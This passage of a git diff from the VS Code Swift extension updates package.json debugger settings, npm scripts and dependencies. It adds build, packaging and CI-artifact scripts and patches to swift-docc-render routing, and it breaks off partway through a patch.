variables to set when running the task.", + "default": {} + }, + "cwd": { + "description": "The folder to run the task in.", + "type": "string" + } + } } }, "required": [ @@ -372,9 +1696,17 @@ "description": "Plugins normally run inside a sandbox. Set this to true to disable the sandbox when running .", "type": "boolean" }, + "allowWritingToPackageDirectory": { + "description": "Allow this plugin to write to the package directory.", + "type": "boolean" + }, "cwd": { "description": "The folder to run the swift plugin in.", "type": "string" + }, + "disableTaskQueue": { + "description": "Disable any queued tasks while running this command plugin. This includes the auto resolve when Packages.resolved is updated.", + "type": "boolean" } }, "required": [ @@ -386,51 +1718,427 @@ "views": { "explorer": [ { - "id": "packageDependencies", - "name": "Package Dependencies", + "id": "projectPanel", + "name": "Swift Project", "icon": "$(archive)", "when": "swift.hasPackage" } ] - } + }, + "viewsWelcome": [ + { + "view": "explorer", + "contents": "You can also create a new Swift project.\n[Create Swift Project](command:swift.createNewProject)", + "when": "workspaceFolderCount == 0 && config.swift.showCreateSwiftProjectInWelcomePage" + } + ], + "breakpoints": [ + { + "language": "asm" + }, + { + "language": "c" + }, + { + "language": "cpp" + }, + { + "language": "objective-c" + }, + { + "language": "objective-cpp" + }, + { + "language": "rust" + }, + { + "language": "swift" + } + ], + "debuggers": [ + { + "type": "swift", + "label": "Swift Debugger", + "variables": { + "pickProcess": "swift.pickProcess" + }, + "configurationAttributes": { + "launch": { + "properties": { + "program": { + "type": "string", + "description": "Path to the program to debug." + }, + "target": { + "type": "string", + "description": "The name of the SwiftPM target to debug." + }, + "configuration": { + "type": "string", + "enum": [ + "debug", + "release" + ], + "description": "The configuration of the SwiftPM target to use." + }, + "args": { + "type": [ + "array", + "string" + ], + "description": "Arguments to provide to the program.", + "default": [] + }, + "cwd": { + "type": "string", + "description": "The working directory that the program will be launched within.", + "default": "${workspaceRoot}" + }, + "env": { + "type": "object", + "patternProperties": { + ".*": { + "type": "string" + } + }, + "description": "Additional environment variables to set when launching the program.", + "default": {} + }, + "stopOnEntry": { + "type": "boolean", + "description": "Automatically stop after launch.", + "default": false + }, + "disableASLR": { + "type": "boolean", + "description": "Enable or disable Address space layout randomization if the debugger supports it.", + "default": true + }, + "disableSTDIO": { + "type": "boolean", + "description": "Don't retrieve STDIN, STDOUT and STDERR as the program is running.", + "default": false + }, + "testType": { + "type": "string", + "description": "If the program is a test, set this to the type of test (`XCTest` or `swift-testing`). This is typically set automatically and is only required when your launch program uses a non standard filename." + }, + "shellExpandArguments": { + "type": "boolean", + "description": "Expand program arguments as a shell would without actually launching the program in a shell.", + "default": false + }, + "detachOnError": { + "type": "boolean", + "description": "Detach from the program.", + "default": false + }, + "sourcePath": { + "type": "string", + "description": "Specify a source path to remap \"./\" to allow full paths to be used when setting breakpoints in binaries that have relative source paths." + }, + "sourceMap": { + "type": "array", + "description": "Specify an array of path remappings; each element must itself be a two element array containing a source and destination pathname. Overrides sourcePath.", + "default": [] + }, + "debuggerRoot": { + "type": "string", + "description": "Specify a working directory to set the debug adaptor to so relative object files can be located." + }, + "targetTriple": { + "type": "string", + "description": "Triplet of the target architecture to override value derived from the program file." + }, + "platformName": { + "type": "string", + "description": "Name of the execution platform to override value derived from the program file." + }, + "initCommands": { + "type": "array", + "description": "Initialization commands executed upon debugger startup.", + "default": [] + }, + "preRunCommands": { + "type": "array", + "description": "Commands executed just before the program is launched.", + "default": [] + }, + "postRunCommands": { + "type": "array", + "description": "Commands executed just as soon as the program is successfully launched when it's in a stopped state prior to any automatic continuation.", + "default": [] + }, + "launchCommands": { + "type": "array", + "description": "Custom commands that are executed instead of launching a process. A target will be created with the launch arguments prior to executing these commands. The commands may optionally create a new target and must perform a launch. A valid process must exist after these commands complete or the \"launch\" will fail. Launch the process with \"process launch -s\" to make the process to at the entry point since lldb-dap will auto resume if necessary.", + "default": [] + }, + "stopCommands": { + "type": "array", + "description": "Commands executed each time the program stops.", + "default": [] + }, + "exitCommands": { + "type": "array", + "description": "Commands executed when the program exits.", + "default": [] + }, + "terminateCommands": { + "type": "array", + "description": "Commands executed when the debugging session ends.", + "default": [] + }, + "runInTerminal": { + "type": "boolean", + "description": "Launch the program inside an integrated terminal in the IDE. Useful for debugging interactive command line programs", + "default": false + }, + "timeout": { + "type": "string", + "description": "The time in seconds to wait for a program to stop at entry point when launching with \"launchCommands\". Defaults to 30 seconds." + } + } + }, + "attach": { + "properties": { + "program": { + "type": "string", + "description": "Path to the program to attach to." + }, + "pid": { + "type": [ + "string", + "number" + ], + "description": "System process ID to attach to." + }, + "waitFor": { + "type": "boolean", + "description": "If set to true, then wait for the process to launch by looking for a process with a basename that matches `program`. No process ID needs to be specified when using this flag.", + "default": true + }, + "sourcePath": { + "type": "string", + "description": "Specify a source path to remap \"./\" to allow full paths to be used when setting breakpoints in binaries that have relative source paths." + }, + "sourceMap": { + "type": "array", + "description": "Specify an array of path remappings; each element must itself be a two element array containing a source and destination pathname. Overrides sourcePath.", + "default": [] + }, + "debuggerRoot": { + "type": "string", + "description": "Specify a working directory to set the debug adaptor to so relative object files can be located." + }, + "targetTriple": { + "type": "string", + "description": "Triplet of the target architecture to override value derived from the program file." + }, + "platformName": { + "type": "string", + "description": "Name of the execution platform to override value derived from the program file." + }, + "attachCommands": { + "type": "array", + "description": "Custom commands that are executed instead of attaching to a process ID or to a process by name. These commands may optionally create a new target and must perform an attach. A valid process must exist after these commands complete or the \"attach\" will fail.", + "default": [] + }, + "initCommands": { + "type": "array", + "description": "Initialization commands executed upon debugger startup.", + "default": [] + }, + "preRunCommands": { + "type": "array", + "description": "Commands executed just before the program is attached to.", + "default": [] + }, + "postRunCommands": { + "type": "array", + "description": "Commands executed just as soon as the program is successfully attached when it's in a stopped state prior to any automatic continuation.", + "default": [] + }, + "stopCommands": { + "type": "array", + "description": "Commands executed each time the program stops.", + "default": [] + }, + "exitCommands": { + "type": "array", + "description": "Commands executed at the end of debugging session.", + "default": [] + }, + "coreFile": { + "type": "string", + "description": "Path to the core file to debug." + }, + "timeout": { + "type": "string", + "description": "The time in seconds to wait for a program to stop when attaching using \"attachCommands\". Defaults to 30 seconds." + } + } + } + }, + "configurationSnippets": [ + { + "label": "Swift: Launch", + "description": "", + "body": { + "type": "swift", + "request": "launch", + "name": "${2:Launch Swift Executable}", + "program": "^\"\\${workspaceRoot}/.build/debug/${1:}\"", + "args": [], + "env": {}, + "cwd": "^\"\\${workspaceRoot}\"" + } + }, + { + "label": "Swift: Attach to Process", + "description": "", + "body": { + "type": "swift", + "request": "attach", + "name": "${1:Attach to Swift Executable}", + "pid": "^\"\\${command:pickProcess}\"" + } + }, + { + "label": "Swift: Attach", + "description": "", + "body": { + "type": "swift", + "request": "attach", + "name": "${2:Attach to Swift Executable}", + "program": "^\"\\${workspaceRoot}/.build/debug/${1:}\"" + } + } + ] + } + ], + "jsonValidation": [ + { + "fileMatch": "**/.sourcekit-lsp/config.json", + "url": "https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/main/config.schema.json" + } + ] }, "extensionDependencies": [ - "vadimcn.vscode-lldb" + "llvm-vs-code-extensions.lldb-dap" ], "scripts": { - "vscode:prepublish": "npm run esbuild-base -- --minify", - "esbuild-base": "esbuild ./src/extension.ts --bundle --outfile=dist/extension.js --external:vscode --format=cjs --platform=node --target=node16", - "esbuild": "npm run esbuild-base -- --sourcemap", - "esbuild-watch": "npm run esbuild-base -- --sourcemap --watch", - "compile": "tsc", - "watch": "tsc --watch", - "lint": "eslint ./ --ext ts && tsc --noEmit", - "format": "prettier --check src test", - "pretest": "npm run compile && npm run lint", - "test": "tsc -p ./ && node ./out/test/runTest.js", - "package": "vsce package", - "dev-package": "vsce package -o swift-lang-development.vsix" + "vscode:prepublish": "npm run bundle", + "bundle": "del-cli ./dist && npm run bundle-extension && npm run bundle-documentation-webview", + "bundle-extension": "del-cli ./dist && esbuild ./src/extension.ts ./src/askpass/askpass-main.ts --bundle --outdir=dist/src/ --external:vscode --define:process.env.NODE_ENV=\\\"production\\\" --define:process.env.CI=\\\"\\\" --format=cjs --platform=node --target=node18 --minify --sourcemap", + "bundle-documentation-webview": "npm run compile-documentation-webview -- --minify", + "compile": "del-cli ./dist/ && tsc --build", + "watch": "npm run compile -- --watch", + "compile-documentation-webview": "del-cli ./assets/documentation-webview && esbuild ./src/documentation/webview/webview.ts --bundle --outfile=assets/documentation-webview/index.js --define:process.env.NODE_ENV=\\\"production\\\" --define:process.env.CI=\\\"\\\" --format=cjs --sourcemap", + "watch-documentation-webview": "npm run compile-documentation-webview -- --watch", + "lint": "eslint ./ --ext ts && tsc --noEmit && tsc --noEmit -p scripts/tsconfig.json", + "update-swift-docc-render": "tsx ./scripts/update_swift_docc_render.ts", + "compile-icons": "tsx ./scripts/compile_icons.ts", + "format": "prettier --check .", + "postinstall": "npm run compile-icons && npm run update-swift-docc-render", + "pretest": "npm run compile-tests", + "soundness": "scripts/soundness.sh", + "check-package-json": "tsx ./scripts/check_package_json.ts", + "test": "vscode-test && npm run grammar-test", + "grammar-test": "vscode-tmgrammar-test test/unit-tests/**/*.test.swift.gyb -g test/unit-tests/syntaxes/swift.tmLanguage.json -g test/unit-tests/syntaxes/MagicPython.tmLanguage.json", + "integration-test": "npm run pretest && vscode-test --label integrationTests", + "unit-test": "npm run pretest && vscode-test --label unitTests", + "coverage": "npm run pretest && vscode-test --coverage", + "compile-tests": "del-cli ./assets/test/**/.build && del-cli ./assets/test/**/.spm-cache && npm run compile", + "package": "tsx ./scripts/package.ts", + "dev-package": "tsx ./scripts/dev_package.ts", + "preview-package": "tsx ./scripts/preview_package.ts", + "tag": "./scripts/tag_release.sh $npm_package_version", + "contributors": "./scripts/generate_contributors_list.sh", + "prepare": "husky" + }, + "lint-staged": { + "**/*.ts": [ + "eslint --max-warnings=0", + "prettier --write" + ], + "**/*": "prettier --write --ignore-unknown" }, "devDependencies": { - "@types/glob": "^7.1.4", - "@types/mocha": "^9.0.0", - "@types/node": "14.x", - "@types/vscode": "^1.65.0", - "@typescript-eslint/eslint-plugin": "^5.1.0", - "@typescript-eslint/parser": "^5.1.0", - "@vscode/test-electron": "^1.6.2", - "esbuild": "^0.14.5", - "eslint": "^8.1.0", - "eslint-config-prettier": "^8.3.0", - "glob": "^7.1.7", - "mocha": "^9.1.3", - "prettier": "2.5.1", - "typescript": "^4.4.4", - "vsce": "^2.9.0" + "@actions/core": "^1.11.1", + "@trivago/prettier-plugin-sort-imports": "^6.0.0", + "@types/archiver": "^7.0.0", + "@types/chai": "^4.3.19", + "@types/chai-as-promised": "^7.1.8", + "@types/chai-subset": "^1.3.6", + "@types/decompress": "^4.2.7", + "@types/diff": "^8.0.0", + "@types/lcov-parse": "^1.0.2", + "@types/lodash.debounce": "^4.0.9", + "@types/lodash.throttle": "^4.1.9", + "@types/micromatch": "^4.0.10", + "@types/mocha": "^10.0.10", + "@types/mock-fs": "^4.13.4", + "@types/node": "^20.19.25", + "@types/plist": "^3.0.5", + "@types/semver": "^7.7.1", + "@types/sinon": "^21.0.0", + "@types/sinon-chai": "^3.2.12", + "@types/source-map-support": "^0.5.10", + "@types/svg2ttf": "^5.0.3", + "@types/svgicons2svgfont": "^10.0.5", + "@types/ttf2woff": "^2.0.4", + "@types/vscode": "^1.88.0", + "@types/xml2js": "^0.4.14", + "@typescript-eslint/eslint-plugin": "^8.47.0", + "@typescript-eslint/parser": "^8.32.1", + "@vscode/debugprotocol": "^1.68.0", + "@vscode/test-cli": "^0.0.12", + "@vscode/test-electron": "^2.5.2", + "@vscode/vsce": "^3.7.0", + "chai": "^4.5.0", + "chai-as-promised": "^7.1.2", + "chai-subset": "^1.6.0", + "decompress": "^4.2.1", + "del-cli": "^7.0.0", + "diff": "^8.0.2", + "esbuild": "^0.27.0", + "eslint": "^8.57.0", + "eslint-config-prettier": "^10.1.8", + "eslint-plugin-mocha": "^10.5.0", + "fantasticon": "^1.2.3", + "husky": "^9.1.7", + "lint-staged": "^16.2.6", + "lodash.debounce": "^4.0.8", + "lodash.throttle": "^4.1.1", + "micromatch": "^4.0.8", + "mocha": "^11.7.5", + "mock-fs": "^5.5.0", + "octokit": "^3.2.2", + "prettier": "^3.6.2", + "replace-in-file": "^8.3.0", + "semver": "^7.7.3", + "simple-git": "^3.30.0", + "sinon": "^21.0.0", + "sinon-chai": "^3.7.0", + "source-map-support": "^0.5.21", + "strip-ansi": "^6.0.1", + "vscode-tmgrammar-test": "^0.1.3", + "svgo": "^4.0.0", + "tsconfig-paths": "^4.2.0", + "tsx": "^4.20.6", + "typescript": "^5.9.3", + "winston": "^3.18.3", + "winston-transport": "^4.9.0" }, "dependencies": { - "@types/plist": "^3.0.2", - "plist": "^3.0.5", - "vscode-languageclient": "^8.0.0" + "@vscode/codicons": "^0.0.42", + "archiver": "^7.0.1", + "fast-glob": "^3.3.3", + "lcov-parse": "^1.0.0", + "plist": "^3.1.0", + "vscode-languageclient": "^9.0.1", + "xml2js": "^0.6.2", + "zod": "^4.1.5" } } diff --git a/scripts/check_package_json.ts b/scripts/check_package_json.ts new file mode 100644 index 000000000..e056449ad --- /dev/null +++ b/scripts/check_package_json.ts @@ -0,0 +1,24 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import { getExtensionVersion, main } from "./lib/utilities"; + +main(async () => { + const version = await getExtensionVersion(); + if (version.minor % 2 !== 0) { + throw new Error( + `Invalid version number in package.json. ${version.toString()} does not have an even numbered minor version.` + ); + } +}); diff --git a/scripts/compile_icons.ts b/scripts/compile_icons.ts new file mode 100644 index 000000000..22a153fb9 --- /dev/null +++ b/scripts/compile_icons.ts @@ -0,0 +1,118 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import { FontAssetType, generateFonts } from "fantasticon"; +import { CodepointsMap } from "fantasticon/lib/utils/codepoints"; +import { mkdir, readFile, readdir, rm, writeFile } from "fs/promises"; +import * as path from "path"; +import * as svgo from "svgo"; + +import { config } from "../src/icons/config"; +import { main, withTemporaryDirectory } from "./lib/utilities"; + +/** + * Minifies and colors the provided icon. + * + * @param icon The icon in SVG format. + * @param color The color of the resulting icon. + * @returns The minified and colored icon in SVG format. + */ +function minifyIcon(icon: string, color: string = "#424242"): string { + return svgo.optimize(icon, { + plugins: [ + { + name: "removeAttrs", + params: { + attrs: "fill", + }, + }, + { + name: "addAttributesToSVGElement", + params: { + attributes: [ + { + fill: color, + }, + ], + }, + }, + ], + }).data; +} + +main(async () => { + const iconsSourceDirectory = path.join(__dirname, "../src/icons"); + const iconAssetsDirectory = path.join(__dirname, "../assets/icons"); + await rm(iconAssetsDirectory, { recursive: true, force: true }); + await mkdir(path.join(iconAssetsDirectory, "light"), { recursive: true }); + await mkdir(path.join(iconAssetsDirectory, "dark"), { recursive: true }); + + await withTemporaryDirectory("swift-vscode-icons_", async fontIconBuildDirectory => { + const iconsToConvert = (await readdir(iconsSourceDirectory, { withFileTypes: true })) + .filter(entity => entity.isFile() && path.extname(entity.name) === ".svg") + .map(entity => path.join(iconsSourceDirectory, entity.name)); + const codepoints: CodepointsMap = {}; + for (const iconPath of iconsToConvert) { + const iconBasename = path.basename(iconPath); + // Find the icon inside the configuration file + const iconName = iconBasename.slice(0, -4); // Remove ".svg" + if (!(iconName in config.icons)) { + throw new Error( + `Unable to find configuration for "${iconName}" in "src/icons/config.ts"` + ); + } + const iconConfig = config.icons[iconName]; + codepoints[iconName] = iconConfig.codepoint; + const color = iconConfig.color ?? { light: "#424242", dark: "#C5C5C5" }; + // Minify and write the icon into the temporary directory that will be processed + // later by fantasticons. + const iconContents = await readFile(iconPath, "utf-8"); + const optimizedIcon = minifyIcon(iconContents); + await writeFile( + path.join(fontIconBuildDirectory, iconBasename), + optimizedIcon, + "utf-8" + ); + // Write the minified icon into the output directory based on its color configuration + if (typeof color === "string") { + // A single icon will be output with the provided color + const coloredIcon = minifyIcon(iconContents, color); + await writeFile(path.join(iconAssetsDirectory, iconBasename), coloredIcon, "utf-8"); + } else { + // A light and dark icon will be output with the provided colors + const lightIcon = minifyIcon(iconContents, color.light); + await writeFile( + path.join(iconAssetsDirectory, "light", iconBasename), + lightIcon, + "utf-8" + ); + const darkIcon = minifyIcon(iconContents, color.dark); + await writeFile( + path.join(iconAssetsDirectory, "dark", iconBasename), + darkIcon, + "utf-8" + ); + } + } + // Generate the icon font + await generateFonts({ + name: "icon-font", + inputDir: fontIconBuildDirectory, + outputDir: iconAssetsDirectory, + fontTypes: [FontAssetType.WOFF], + assetTypes: [], + codepoints, + }); + }); +}); diff --git a/scripts/dev_package.ts b/scripts/dev_package.ts new file mode 100644 index 000000000..fdc4d678d --- /dev/null +++ b/scripts/dev_package.ts @@ -0,0 +1,21 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import { getExtensionVersion, main, packageExtension } from "./lib/utilities"; + +main(async () => { + const version = await getExtensionVersion(); + const devVersion = `${version.major}.${version.minor}.${version.patch}-dev`; + await packageExtension(devVersion); +}); diff --git a/scripts/download_vsix.ts b/scripts/download_vsix.ts new file mode 100644 index 000000000..4b87d036f --- /dev/null +++ b/scripts/download_vsix.ts @@ -0,0 +1,90 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import decompress from "decompress"; +import { createWriteStream } from "node:fs"; +import { appendFile, unlink } from "node:fs/promises"; +import { pipeline } from "node:stream/promises"; +import { Octokit } from "octokit"; + +import { main } from "./lib/utilities"; + +const artifact_id = process.env["VSCODE_SWIFT_VSIX_ID"]; +if (!artifact_id) { + console.error("No VSCODE_SWIFT_VSIX_ID provided"); + process.exit(0); +} +const token = process.env["GITHUB_TOKEN"]; +if (!token) { + console.error("No GITHUB_TOKEN provided"); + process.exit(1); +} +const envFile = process.env["GITHUB_ENV"]; +if (!envFile) { + console.error("No GITHUB_ENV provided"); + process.exit(1); +} +const repository = process.env["GITHUB_REPOSITORY"] || "swiftlang/vscode-swift"; +const owner = repository.split("/")[0]; +const repo = repository.split("/")[1]; + +main(async function () { + const octokit = new Octokit({ + auth: token, + }); + + const { data } = await octokit.request( + `GET /repos/${repository}/actions/artifacts/${artifact_id}/zip`, + { + request: { + parseSuccessResponseBody: false, + }, + owner, + repo, + artifact_id, + archive_format: "zip", + headers: { + "X-GitHub-Api-Version": "2022-11-28", + }, + } + ); + await pipeline(data, createWriteStream("artifacts.zip", data)); + const files = await decompress("artifacts.zip", process.cwd()); + console.log(`Downloaded artifact(s): ${files.map(f => f.path).join(", ")}`); + const testPrerelease = process.env["VSCODE_SWIFT_VSIX_PRERELEASE"] === "1"; + if (testPrerelease) { + const prereleaseVSIX = files.find(f => + /swift-vscode-\d+.\d+.\d{8}(-dev)?-\d+.vsix/m.test(f.path) + ); + if (prereleaseVSIX) { + await appendFile(envFile, `VSCODE_SWIFT_VSIX=${prereleaseVSIX.path}\n`); + console.log(`Running tests against: ${prereleaseVSIX.path}`); + } else { + console.error("Cound not find vscode-swift pre-release VSIX in artifact bundle"); + process.exit(1); + } + } else { + const releaseVSIX = files.find(f => + /swift-vscode-\d+.\d+.\d+(-dev)?-\d+.vsix/m.test(f.path) + ); + if (releaseVSIX) { + await appendFile(envFile, `VSCODE_SWIFT_VSIX=${releaseVSIX.path}\n`); + console.log(`Running tests against: ${releaseVSIX.path}`); + } else { + console.error("Cound not find vscode-swift release VSIX in artifact bundle"); + process.exit(1); + } + } + await unlink("artifacts.zip"); +}); diff --git a/scripts/generate_contributors_list.sh b/scripts/generate_contributors_list.sh index 5306bdb64..0d4385071 100755 --- a/scripts/generate_contributors_list.sh +++ b/scripts/generate_contributors_list.sh @@ -1,13 +1,13 @@ #!/bin/bash ##===----------------------------------------------------------------------===## ## -## This source file is part of the VSCode Swift open source project +## This source file is part of the VS Code Swift open source project ## -## Copyright (c) 2021 the VSCode Swift project authors +## Copyright (c) 2021 the VS Code Swift project authors ## Licensed under Apache License v2.0 ## ## See LICENSE.txt for license information -## See CONTRIBUTORS.txt for the list of VSCode Swift project authors +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors ## ## SPDX-License-Identifier: Apache-2.0 ## @@ -19,7 +19,7 @@ contributors=$( cd "$here"/.. && git shortlog -es | cut -f2 | sed 's/^/- /' ) cat > "$here/../CONTRIBUTORS.txt" <<- EOF For the purpose of tracking copyright, this is the list of individuals and - organizations who have contributed source code to the VSCode Swift extension. + organizations who have contributed source code to the VS Code Swift extension. For employees of an organization/company where the copyright of work done by employees of that company is held by the company itself, only the company needs to be listed here. diff --git a/scripts/lib/utilities.ts b/scripts/lib/utilities.ts new file mode 100644 index 000000000..55566acf5 --- /dev/null +++ b/scripts/lib/utilities.ts @@ -0,0 +1,189 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import * as child_process from "child_process"; +import { copyFile, mkdtemp, readFile, rm } from "fs/promises"; +import * as os from "os"; +import * as path from "path"; +import { replaceInFile } from "replace-in-file"; +import * as semver from "semver"; + +/** + * Executes the provided main function for the script while logging any errors. + * + * If an error is caught then the process will exit with code 1. + * + * @param mainFn The main function of the script that will be run. + */ +export function main(mainFn: () => Promise) { + mainFn().catch(error => { + console.error(error); + process.exit(1); + }); +} + +/** + * Returns the root directory of the repository. + */ +export function getRootDirectory(): string { + return path.join(__dirname, "..", ".."); +} + +/** + * Returns the path to the extension manifest. + */ +export function getManifest(): string { + return path.join(getRootDirectory(), "package.json"); +} + +/** + * Returns the path to the extension changelog. + */ +export function getChangelog(): string { + return path.join(getRootDirectory(), "CHANGELOG.md"); +} + +/** + * Retrieves the version number from the package.json. + */ +export async function getExtensionVersion(): Promise { + const packageJSON = JSON.parse(await readFile(getManifest(), "utf-8")); + if (typeof packageJSON.version !== "string") { + throw new Error("Version number in package.json is not a string"); + } + const version = semver.parse(packageJSON.version); + if (version === null) { + throw new Error("Unable to parse version number in package.json"); + } + return version; +} + +/** + * Executes the given command, inheriting the current process' stdio. + * + * @param command The command to execute. + * @param args The arguments to provide to the command. + * @param options The options for executing the command. + */ +export async function exec( + command: string, + args: string[], + options: child_process.SpawnOptionsWithoutStdio = {} +): Promise { + let logMessage = "> " + command; + if (args.length > 0) { + logMessage += " " + args.join(" "); + } + console.log(logMessage + "\n"); + // On Windows, we have to append ".cmd" to the npm and npx commands. Additionally, the + // "shell" option must be set to true to allow execution of batch scripts on windows. + // See https://nodejs.org/en/blog/vulnerability/april-2024-security-releases-2 + if (process.platform === "win32" && ["npm", "npx"].includes(command)) { + command = command + ".cmd"; + options.shell = true; + } + return new Promise((resolve, reject) => { + const childProcess = child_process.spawn(command, args, { stdio: "inherit", ...options }); + childProcess.once("error", reject); + childProcess.once("close", (code, signal) => { + if (signal !== null) { + reject(new Error(`Process exited due to signal '${signal}'`)); + } else if (code !== 0) { + reject(new Error(`Process exited with code ${code}`)); + } else { + resolve(); + } + console.log(""); + }); + }); +} + +/** + * Creates a temporary directory for the lifetime of the provided task. + * + * @param prefix The prefix of the generated directory name. + * @param task The task that will use the temporary directory. + */ +export async function withTemporaryDirectory( + prefix: string, + task: (directory: string) => Promise +): Promise { + const directory = await mkdtemp(path.join(os.tmpdir(), prefix)); + try { + return await task(directory); + } finally { + await rm(directory, { force: true, recursive: true }).catch(error => { + console.error(`Failed to remove temporary directory '${directory}'`); + console.error(error); + }); + } +} + +export async function updateChangelog(version: string): Promise { + const tempChangelog = path.join(getRootDirectory(), `CHANGELOG-${version}.md`); + await copyFile(getChangelog(), tempChangelog); + await replaceInFile({ + files: tempChangelog, + from: /{{releaseVersion}}/g, + to: version, + }); + const date = new Date(); + const year = date.getUTCFullYear().toString().padStart(4, "0"); + const month = (date.getUTCMonth() + 1).toString().padStart(2, "0"); + const day = date.getUTCDate().toString().padStart(2, "0"); + await replaceInFile({ + files: tempChangelog, + from: /{{releaseDate}}/g, + to: `${year}-${month}-${day}`, + }); + return tempChangelog; +} + +export interface PackageExtensionOptions { + preRelease?: boolean; +} + +export async function packageExtension(version: string, options: PackageExtensionOptions = {}) { + // Update version in a temporary CHANGELOG + const changelogPath = await updateChangelog(version); + + // Use VSCE to package the extension + // Note: There are no sendgrid secrets in the extension. `--allow-package-secrets` works around a false positive + // where the symbol `SG.MessageTransports.is` can appear in the dist.js if we're unlucky enough + // to have `SG` as the minified name of a namespace. Here is the rule we sometimes mistakenly match: + // https://github.com/secretlint/secretlint/blob/5706ac4942f098b845570541903472641d4ae914/packages/%40secretlint/secretlint-rule-sendgrid/src/index.ts#L35 + await exec( + "npx", + [ + "vsce", + "package", + ...(options.preRelease === true ? ["--pre-release"] : []), + "--allow-package-secrets", + "sendgrid", + "--no-update-package-json", + "--changelog-path", + path.basename(changelogPath), + version, + ], + { + cwd: getRootDirectory(), + } + ); + + // Clean up temporary changelog + await rm(changelogPath, { force: true }).catch(error => { + console.error(`Failed to remove temporary changelog '${changelogPath}'`); + console.error(error); + }); +} diff --git a/scripts/package.ts b/scripts/package.ts new file mode 100644 index 000000000..df118654b --- /dev/null +++ b/scripts/package.ts @@ -0,0 +1,28 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +/* eslint-disable no-console */ +import { getExtensionVersion, main, packageExtension } from "./lib/utilities"; + +main(async () => { + const version = await getExtensionVersion(); + // Leave the "prerelease" tag out + const versionString = `${version.major}.${version.minor}.${version.patch}`; + + if (process.platform === "win32") { + console.log("Packaging the extension is not supported on Windows."); + return process.exit(0); + } + + await packageExtension(versionString); +}); diff --git a/scripts/patches/swift-docc-render/00_use-in-memory-routing.patch b/scripts/patches/swift-docc-render/00_use-in-memory-routing.patch new file mode 100644 index 000000000..24ae6ab51 --- /dev/null +++ b/scripts/patches/swift-docc-render/00_use-in-memory-routing.patch @@ -0,0 +1,13 @@ +diff --git a/src/setup-utils/SwiftDocCRenderRouter.js b/src/setup-utils/SwiftDocCRenderRouter.js +index 87ba2a4..17bd401 100644 +--- a/src/setup-utils/SwiftDocCRenderRouter.js ++++ b/src/setup-utils/SwiftDocCRenderRouter.js +@@ -32,7 +32,7 @@ const defaultRoutes = [ + + export default function createRouterInstance(routerConfig = {}) { + const router = new Router({ +- mode: 'history', ++ mode: 'abstract', + base: baseUrl, + scrollBehavior, + ...routerConfig, diff --git a/scripts/patches/swift-docc-render/01_add-live-routes.patch b/scripts/patches/swift-docc-render/01_add-live-routes.patch new file mode 100644 index 000000000..71f700fec --- /dev/null +++ b/scripts/patches/swift-docc-render/01_add-live-routes.patch @@ -0,0 +1,54 @@ +diff --git a/src/routes.js b/src/routes.js +index 0c928ce..f745003 100644 +--- a/src/routes.js ++++ b/src/routes.js +@@ -9,7 +9,6 @@ + */ + + import { +- documentationTopicName, + notFoundRouteName, + serverErrorRouteName, + } from 'docc-render/constants/router'; +@@ -18,25 +17,32 @@ import NotFound from 'theme/views/NotFound.vue'; + + export default [ + { +- path: '/tutorials/:id', +- name: 'tutorials-overview', ++ path: '/live/tutorials-overview', ++ name: 'live-tutorials-overview', + component: () => import( + /* webpackChunkName: "tutorials-overview" */ 'theme/views/TutorialsOverview.vue' + ), ++ meta: { ++ skipFetchingData: true, ++ }, + }, + { +- path: '/tutorials/:id/*', +- name: 'topic', ++ path: '/live/tutorials', ++ name: 'live-tutorials', + component: () => import( + /* webpackChunkName: "topic" */ 'theme/views/Topic.vue' + ), ++ meta: { ++ skipFetchingData: true, ++ }, + }, + { +- path: '/documentation*', +- name: documentationTopicName, +- component: () => import( +- /* webpackChunkName: "documentation-topic" */ 'theme/views/DocumentationTopic.vue' +- ), ++ path: '/live/documentation', ++ name: 'live-documentation', ++ component: () => import(/* webpackChunkName: "documentation-topic" */ 'docc-render/views/DocumentationTopic.vue'), ++ meta: { ++ skipFetchingData: true, ++ }, + }, + { + path: '*', diff --git a/scripts/patches/swift-docc-render/02_remove-linebreak-eslint-rule.patch b/scripts/patches/swift-docc-render/02_remove-linebreak-eslint-rule.patch new file mode 100644 index 000000000..9c80c14e8 --- /dev/null +++ b/scripts/patches/swift-docc-render/02_remove-linebreak-eslint-rule.patch @@ -0,0 +1,12 @@ +diff --git a/.eslintrc.js 